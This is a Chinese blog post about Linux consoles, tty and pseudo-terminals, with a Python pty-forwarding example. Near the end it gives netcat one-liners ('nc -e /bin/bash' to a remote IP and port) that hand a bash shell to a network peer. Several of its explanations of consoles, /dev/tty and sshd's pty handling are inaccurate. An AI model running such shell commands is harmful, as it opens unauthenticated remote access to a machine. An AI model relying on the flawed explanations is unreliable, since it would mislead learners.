linux tty pty 的使用

概念
  • 下面是 我 cat /proc/tty/drivers 的输出
/dev/tty             /dev/tty        5       0 system:/dev/tty
/dev/console         /dev/console    5       1 system:console
/dev/ptmx            /dev/ptmx       5       2 system
/dev/vc/0            /dev/vc/0       4       0 system:vtmaster
usbserial            /dev/ttyUSB   188 0-511 serial
serial               /dev/ttyS       4 64-95 serial
pty_slave            /dev/pts      136 0-1048575 pty:slave
pty_master           /dev/ptm      128 0-1048575 pty:master
unknown              /dev/tty        4 1-63 console

  • console
    • 从上面可以看到, /dev/tty1-63 被注册称console。
    • console 是一个显式器在内核中的对应物。可见最多可以有64(console tty1-63)个显式器和我的主机连接。
    • 当一个显式器被连接到主板,被内核发现了,就会生成一个 /dev/consolen,文件。而/dev/console 代表系统启动时的显式器。
    • cat hello>/dev/console 可以发送到那个显式器区显式,但是显式器的交互有一个termios,用来设置每行字符和列数等等,所以随便向console发一个字符串可能会引起异常。一般需要用程序得到一个代理终端或者伪终端。
  • tty
    • 就是上面提到的代理终端。一个console可以被多个tty代理。也就是说可以多个进程共用一个显式器。一般linux在开机的时候分配了6个tty给用户用,你按ctrl+alt+F1-6,可以在tty1到tty6间切换。一般除了tty1是登陆了的,其余几个都需要重新登陆,获得一个bash,然后tty交给bash使用。你可以用tty命令查看当前tty,也可以用ps -ef|grep bash,查看各个bash对应的tty。
    • tty是TeleTYpe的意思,所以它本来是一个物理的串口打字设备。一个键盘就可以分配一个tty。因为它是一个物理设备,所以它对应着计算机实际存在的上的串口,也因此这些串口都在内核的驱动里注册了。从最上面的输出可以看出,我电脑有ttyS64-95共32个串口被注册了。串口的主设备号都是 4,从上面看到还有一个和/dev/console一样主设备号为 5 的tty,它代表当前tty。目的是为了隔离进程对设备的细节的理解。因为一个进程最多只可能使用一个tty,没必要直到其它的存在,所以它只需要向/dev/tty 输入输出就可以了。那么疑问是,多个tty的进程都对应这一个文件不会冲突吗?答案是不会的。你的网卡不也是只有一个接口吗,那么多进程在和外部通信也没有冲突啊,一切的答案就是有物理层的规程,它标记了每一个进程,当进程发送一个消息到/dev/tty,实际上有一个内核模块把你的消息封装了一次。然后疑问是:不是说串口吗,怎么可以并行通信啊?当然是像路由器那样缓存啊,所以字符设备你发现都是必须带缓冲带开的。
    • 上面说进程不需要了解自己使用的tty,但是当一个进程申请tty的时候是需要知道自己的tty号的,因为那时候系统还不知道你是谁,所以有个申请和激活的过程。
  • pty
    • tty很好用,但是它是物理的,而且有限,我的系统就分配了32个tty串口。如果想有更多的话,可以给你电脑多安几个串口,然后多接几根线,但是有了网络之后,我们就不需要这样了,直接通过网线就可以了,那么这中方案中,内核如何处理交互呢?答案就是还是用tty那一套,只不过给你虚拟一个串口出来。大家可能都虚拟过网卡网桥之类的。那么就很好理解pty了,它就是系统虚拟出来的tty,所以叫做伪终端。
    • pty和tty一个不一样的对方是tty它每个串口的编号啥的都在内核里注册好了,系统中断很容易就调用了。而伪终端是临时分配的,那么中断怎么搞呢?大家想起来上面说的缓存和复用了吗?没错就是这样子的。
    • 从最上面的输出可以看到,有一个 /dev/ptmx设备 设备号 5:2 被系统管理着,关于pty的中断都找它。然后远程登陆和本地连接还有一个明显的不一样,就是本地是通过线连着的,系统自动负责,远程是有一个进程在那里负责连接。如果我们是远程连接之后使用bash,怎么搞呢?
      • 方法就是 生成一个pty文件,并将它分用为一对文件描述符,于是在逻辑上我们就有了两个pty:分别叫做pts/ptm。
      • 比如我通过xshell和主机上的sshd来实现登陆并使用bash。首先是好兄弟sshd向系统申请了pty,系统给了它一对文件描述符(ptm0/pts0),文件描述符就是一个文件访问的凭证,它可能根本就没有实际的文件与之对应,但是系统说类,只要你用pts0或者ptm0来向我打开文件,我就给你创建一个真的文件出来,并且你以后用这两个文件描述符都可以访问它。所以sshd这个进程并不占用终端,它只是用分配的这个文件描述符,并不尝试真的去open("/dev/ptmx"),因为只要一尝试去open,就立即生成真正的文件,而且完成了对这个pty的占有,所谓占有就是将自己的stdio都对应上去了,linux系统只允许tty或pty同一时间被一个进程占有,如果没人占有就会释放掉。
      • 上面说到sshd只获得了一对文件描述符ptm0/pts0,这时候sshd执行了登陆进程开始了bash子进程,并把pts0交给了bash,让bash去用 pts0去打开/dev/ptmx,生成了/dev/pty/0,并完成了pty的绑定。从此bash的输出,就写pty,输入信息到pty就是bash的输入。而这时候我们的sshd手握着系统分配的主文件符ptm0沾沾自喜,它就好像一个抓包少年一样开心即了,转眼就将从ptm0上读到的信息(也就是bash的输出)发送给了它的好兄弟,我的xshell,从而我的xshell就显式登陆了。然后我的xshell说“我有个忙(命令),兄弟你帮我以下(帮我执行)”,好兄弟sshd毫不犹豫就将 xshell传给它的内容向 ptm0写,这时候可怜的bash傻傻的意味那就是pty0爱的消息,立即读然后执行。。。。就这样,bash傻傻的恋爱着,而我用xshell获得的bash的使用权(输入和输出)。
为什么申请pty的时候给你一对文件描述符呢?
* 因为如果只给你一个,你自己也要再升请一个并dup以下,这样还需要创建两个文件。
* 那么为什么非两个不可呢?如果只是一个文件描述符,那么被bash绑定之后 ,sshd向它读写会阻塞,有两个的时候系统会处理。
下面给一个用python实现的tcp远程登陆。实际使用的时候直接通过 nc -e /bin/bash 192.168.0.100 2333 或者 script <a_pipe |& nc 192.168.0.100 2333 >a_pipe 都可以实现将远程主机变成可用 tcp 直接连接上bash。但是下面代码可以让大家更清楚其中关于pty获取的细节。
import signal
import select
def main(debug=False):
    old_mode = tty.tcgetattr(0)
    tty.setraw(0)
    
    pid,m = pty.fork()
    if pid==0:
        os.execl("/bin/bash","/bin/bash")
    else:
        try:
            while True:
                result = os.waitid(os.P_PID, pid, os.WEXITED|os.WNOHANG)
                if result:raise Exception
                r,w,e = select.select([m,0],[m],[])
                if m in r:
                    os.write(1, os.read(m, 1024))
                    continue
                if 0 in r:
                    user_input = os.read(0,1024)
                    os.write(m, user_input)
        except:     
            try:    
                os.kill(pid, signal.SIGKILL)
            except:pass
            tty.tcsetattr(0, tty.TCSAFLUSH, old_mode)
            if debug:
                import traceback
                traceback.print_exc()
if __name__ == '__main__':
        main()
  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值